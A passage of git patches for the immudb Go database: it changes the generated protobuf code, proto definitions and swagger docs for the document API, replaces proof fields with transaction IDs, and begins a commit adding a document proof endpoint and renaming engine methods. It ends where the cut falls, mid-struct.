0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, + 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, + 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -1992,7 +1939,7 @@ func file_documentschema_proto_rawDescGZIP() []byte { } var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 29) +var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 28) var file_documentschema_proto_goTypes = []interface{}{ (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator (IndexType)(0), // 1: immudb.documentschema.IndexType @@ -2019,66 +1966,63 @@ var file_documentschema_proto_goTypes = []interface{}{ (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse - (*Proof)(nil), // 25: immudb.documentschema.Proof - (*CollectionUpdateRequest)(nil), // 26: immudb.documentschema.CollectionUpdateRequest - (*CollectionUpdateResponse)(nil), // 27: immudb.documentschema.CollectionUpdateResponse - nil, // 28: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - nil, // 29: immudb.documentschema.CollectionInformation.IndexKeysEntry - nil, // 30: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry - (*structpb.Struct)(nil), // 31: google.protobuf.Struct - (*schema.VerifiableTx)(nil), // 32: immudb.schema.VerifiableTx - (structpb.NullValue)(0), // 33: google.protobuf.NullValue - (*structpb.Value)(nil), // 34: google.protobuf.Value + (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest + (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse + nil, // 27: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + nil, // 28: immudb.documentschema.CollectionInformation.IndexKeysEntry + nil, // 29: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + (*_struct.Struct)(nil), // 30: google.protobuf.Struct + (_struct.NullValue)(0), // 31: google.protobuf.NullValue + (*_struct.Value)(nil), // 32: google.protobuf.Value + (*schema.VerifiableTx)(nil), // 33: immudb.schema.VerifiableTx } var file_documentschema_proto_depIdxs = []int32{ - 31, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 32, // 1: immudb.documentschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx - 31, // 2: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 32, // 3: immudb.documentschema.DocumentUpdateResponse.proof:type_name -> immudb.schema.VerifiableTx - 33, // 4: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue - 0, // 5: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator - 34, // 6: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value - 7, // 7: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery - 31, // 8: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 32, // 9: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx - 14, // 10: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit - 31, // 11: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct - 1, // 12: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType - 28, // 13: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - 18, // 14: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 29, // 15: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry - 18, // 16: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 18, // 17: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 30, // 18: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry - 18, // 19: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 15, // 20: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 21: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 22: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 23: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 4, // 24: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest - 8, // 25: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 12, // 26: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 10, // 27: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 16, // 28: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 20, // 29: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 21, // 30: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 23, // 31: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 26, // 32: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest - 3, // 33: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 5, // 34: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse - 9, // 35: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 13, // 36: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 11, // 37: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 17, // 38: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 19, // 39: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 22, // 40: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 24, // 41: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 27, // 42: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse - 33, // [33:43] is the sub-list for method output_type - 23, // [23:33] is the sub-list for method input_type - 23, // [23:23] is the sub-list for extension type_name - 23, // [23:23] is the sub-list for extension extendee - 0, // [0:23] is the sub-list for field type_name + 30, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 30, // 1: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 31, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 0, // 3: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator + 32, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value + 7, // 5: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery + 30, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 33, // 7: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx + 14, // 8: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit + 30, // 9: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct + 1, // 10: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType + 27, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + 18, // 12: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 28, // 13: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry + 18, // 14: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 18, // 15: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation + 29, // 16: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + 18, // 17: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 15, // 18: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 19: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 20: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 21: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 4, // 22: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest + 8, // 23: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 12, // 24: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 10, // 25: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 16, // 26: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 20, // 27: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 21, // 28: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 23, // 29: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 25, // 30: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest + 3, // 31: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 5, // 32: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse + 9, // 33: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 13, // 34: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 11, // 35: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 17, // 36: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse + 19, // 37: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 22, // 38: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 24, // 39: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse + 26, // 40: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse + 31, // [31:41] is the sub-list for method output_type + 21, // [21:31] is the sub-list for method input_type + 21, // [21:21] is the sub-list for extension type_name + 21, // [21:21] is the sub-list for extension extendee + 0, // [0:21] is the sub-list for field type_name } func init() { file_documentschema_proto_init() } @@ -2364,18 +2308,6 @@ func file_documentschema_proto_init() { } } file_documentschema_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Proof); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionUpdateRequest); i { case 0: return &v.state @@ -2387,7 +2319,7 @@ func file_documentschema_proto_init() { return nil } } - file_documentschema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionUpdateResponse); i { case 0: return &v.state @@ -2412,7 +2344,7 @@ func file_documentschema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documentschema_proto_rawDesc, NumEnums: 2, - NumMessages: 29, + NumMessages: 28, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 01cbcf289f..d3c142b27f 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -19,7 +19,6 @@ syntax = "proto3"; package immudb.documentschema; import "google/api/annotations.proto"; -import "google/protobuf/empty.proto"; import "google/protobuf/struct.proto"; import "schema.proto"; import "protoc-gen-swagger/options/annotations.proto"; @@ -55,8 +54,8 @@ message DocumentInsertRequest { } message DocumentInsertResponse { - schema.VerifiableTx proof = 1; - string documentId = 2; + string documentId = 1; + uint64 transactionId = 2; } message DocumentUpdateRequest { @@ -66,11 +65,10 @@ message DocumentUpdateRequest { } message DocumentUpdateResponse { - schema.VerifiableTx proof = 1; - uint64 revision = 2; + uint64 revision = 1; + uint64 transactionId = 2; } - enum QueryOperator { EQ = 0; NE = 1; @@ -96,7 +94,6 @@ message DocumentQuery { google.protobuf.Value value = 3; } - message DocumentSearchRequest { string collection = 1; repeated DocumentQuery query = 2; @@ -111,19 +108,16 @@ message DocumentSearchResponse { uint32 entriesLeft = 4; } - message DocumentProofRequest { string collection = 1; string documentId = 2; int64 atRevision = 3; } - message DocumentProofResponse { schema.VerifiableTx proof = 1; } - message DocumentAuditRequest { string collection = 1; string documentId = 2; @@ -131,7 +125,6 @@ message DocumentAuditRequest { uint32 perPage = 4; } - message DocumentAuditResponse { repeated DocumentAudit results = 1; uint32 page = 2; @@ -141,11 +134,10 @@ message DocumentAuditResponse { message DocumentAudit { google.protobuf.Struct value = 1; - uint64 transactionID = 2; + uint64 transactionId = 2; uint64 revision = 3; } - message IndexOption { IndexType type = 1; bool isUnique = 2; @@ -193,10 +185,6 @@ message CollectionDeleteRequest { message CollectionDeleteResponse { } -message Proof { - string name = 1; -} - message CollectionUpdateRequest { string name = 1; map addIndexes = 2; @@ -237,7 +225,6 @@ service DocumentService { tags: "documents"; }; } - rpc DocumentAudit(DocumentAuditRequest) returns (DocumentAuditResponse) { option (google.api.http) = { @@ -278,7 +265,6 @@ service DocumentService { }; } - rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { option (google.api.http) = { post: "/collections/list" @@ -288,6 +274,7 @@ service DocumentService { tags: "collections"; }; } + rpc CollectionDelete(CollectionDeleteRequest) returns (CollectionDeleteResponse) { option (google.api.http) = { delete: "/collections/delete" diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index a87df61b96..fa7bc60f75 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -428,7 +428,7 @@ "value": { "type": "object" }, - "transactionID": { + "transactionId": { "type": "string", "format": "uint64" }, @@ -494,11 +494,12 @@ "documentschemaDocumentInsertResponse": { "type": "object", "properties": { - "proof": { - "$ref": "#/definitions/schemaVerifiableTx" - }, "documentId": { "type": "string" + }, + "transactionId": { + "type": "string", + "format": "uint64" } } }, @@ -601,12 +602,13 @@ "documentschemaDocumentUpdateResponse": { "type": "object", "properties": { - "proof": { - "$ref": "#/definitions/schemaVerifiableTx" - }, "revision": { "type": "string", "format": "uint64" + }, + "transactionId": { + "type": "string", + "format": "uint64" } } }, @@ -656,7 +658,7 @@ "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index cd2672aca8..6dd5c01e60 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -102,12 +102,15 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat // CreateDocument creates a new document func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { - docID, err := d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) + docID, txID, err := d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) if err != nil { return nil, err } - return &schemav2.DocumentInsertResponse{DocumentId: docID.Hex()}, nil + return &schemav2.DocumentInsertResponse{ + DocumentId: docID.Hex(), + TransactionId: txID, + }, nil } // GetDocument returns the document @@ -183,7 +186,7 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque for _, log := range historyLogs { resp.Results = append(resp.Results, &schemav2.DocumentAudit{ - TransactionID: log.TxID, + TransactionId: log.TxID, Revision: log.Revision, Value: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -206,12 +209,15 @@ func (d *db) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateReq return nil, fmt.Errorf("invalid document id: %v", err) } - revision, err := d.documentEngine.UpdateDocument(ctx, req.Collection, docID, req.Document) + txID, revision, err := d.documentEngine.UpdateDocument(ctx, req.Collection, docID, req.Document) if err != nil { return nil, err } - return &schemav2.DocumentUpdateResponse{Revision: revision}, nil + return &schemav2.DocumentUpdateResponse{ + TransactionId: txID, + Revision: revision, + }, nil } // DeleteCollection deletes a collection From 32b94f2b36af2984b0d8958c26491dd7e332cec7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 9 Apr 2023 12:05:59 -0300 Subject: [PATCH 0408/1062] feat(pkg/api): document proof endpoint Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 27 +- embedded/document/engine_test.go | 26 +- .../authorizationschema.proto | 5 +- pkg/api/documentschema/docs.md | 6 +- pkg/api/documentschema/documentschema.pb.go | 512 +- pkg/api/documentschema/documentschema.proto | 51 +- .../documentschema.swagger.json | 113 +- pkg/api/schema/database_protoconv.go | 9 + pkg/api/schema/docs.md | 37 + pkg/api/schema/schema.pb.go | 4386 +++++++++-------- pkg/api/schema/schema.proto | 48 +- pkg/database/document_database.go | 75 +- pkg/server/db_dummy_closed.go | 4 + pkg/server/documents_operations.go | 30 +- 14 files changed, 2830 insertions(+), 2499 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index e04df6b5d5..c04b29f037 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -378,7 +378,7 @@ func (e *Engine) getCollectionSchema(ctx context.Context, collection string) (ma return table.ColsByName(), nil } -func (e *Engine) GetDocument(ctx context.Context, collectionName string, queries []*Query, pageNum int, itemsPerPage int) ([]*structpb.Struct, error) { +func (e *Engine) GetDocuments(ctx context.Context, collectionName string, queries []*Query, pageNum int, itemsPerPage int) ([]*structpb.Struct, error) { exp, err := e.generateExp(ctx, collectionName, queries) if err != nil { return nil, err @@ -657,6 +657,31 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, docI return committedTx.TxHeader().ID, auditLog.Revision, nil } +func (e *Engine) GetDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *Audit, err error) { + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return 0, nil, err + } + defer sqlTx.Cancel() + + table, err := sqlTx.Catalog().GetTableByName(collectionName) + if err != nil { + return 0, nil, err + } + + searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) + if err != nil { + return 0, nil, err + } + + docAudit, err = e.getValueAt(searchKey, txID, false, 0) + if err != nil { + return 0, nil, err + } + + return table.ID(), docAudit, nil +} + // DeleteCollection deletes a collection. func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { // delete collection from catalog diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index e9c49d2c19..e1ffcc1f16 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -202,14 +202,14 @@ func TestGetDocument(t *testing.T) { } // invalid page number - _, err = engine.GetDocument(context.Background(), collectionName, expressions, 0, 10) + _, err = engine.GetDocuments(context.Background(), collectionName, expressions, 0, 10) require.Error(t, err) // invalid page limit - _, err = engine.GetDocument(context.Background(), collectionName, expressions, 1, 0) + _, err = engine.GetDocuments(context.Background(), collectionName, expressions, 1, 0) require.Error(t, err) - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 10) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 10) require.NoError(t, err) require.Equal(t, 1, len(doc)) } @@ -321,7 +321,7 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) require.NoError(t, err) require.Equal(t, 9, len(doc)) }) @@ -337,7 +337,7 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) require.NoError(t, err) require.Equal(t, 10, len(doc)) }) @@ -353,7 +353,7 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) require.NoError(t, err) require.Equal(t, 9, len(doc)) }) @@ -369,7 +369,7 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) require.NoError(t, err) require.Equal(t, 5, len(doc)) }) @@ -385,7 +385,7 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) require.NoError(t, err) require.Equal(t, 1, len(doc)) }) @@ -408,7 +408,7 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) require.NoError(t, err) require.Equal(t, 8, len(doc)) }) @@ -431,7 +431,7 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) require.NoError(t, err) require.Equal(t, 4, len(doc)) }) @@ -454,7 +454,7 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) require.NoError(t, err) require.Equal(t, 3, len(doc)) }) @@ -517,7 +517,7 @@ func TestDocumentUpdate(t *testing.T) { } // check if document is updated - docs, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 10) + docs, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 10) require.NoError(t, err) require.Equal(t, 1, len(docs)) @@ -575,7 +575,7 @@ func TestFloatSupport(t *testing.T) { } // check if document is updated - docs, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 10) + docs, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 10) require.NoError(t, err) require.Equal(t, 1, len(docs)) diff --git a/pkg/api/authorizationschema/authorizationschema.proto b/pkg/api/authorizationschema/authorizationschema.proto index bc6fa494f5..3b8619334f 100644 --- a/pkg/api/authorizationschema/authorizationschema.proto +++ b/pkg/api/authorizationschema/authorizationschema.proto @@ -41,7 +41,6 @@ message OpenSessionResponseV2 { string serverUUID = 2; int32 expirationTimestamp = 3; int32 inactivityTimestamp = 4; - } service AuthorizationService { @@ -53,5 +52,5 @@ service AuthorizationService { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "authorization"; }; - } -} \ No newline at end of file + } +} diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 29f7aa56e8..10c5d52cd5 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -351,7 +351,8 @@ | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | | documentId | [string](#string) | | | -| atRevision | [int64](#int64) | | | +| transactionId | [uint64](#uint64) | | | +| lastValidatedTransactionId | [uint64](#uint64) | | | @@ -366,7 +367,8 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| proof | [immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | +| collectionId | [uint32](#uint32) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 1b673aa419..392539723d 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -696,9 +696,10 @@ type DocumentProofRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - AtRevision int64 `protobuf:"varint,3,opt,name=atRevision,proto3" json:"atRevision,omitempty"` + Collection string 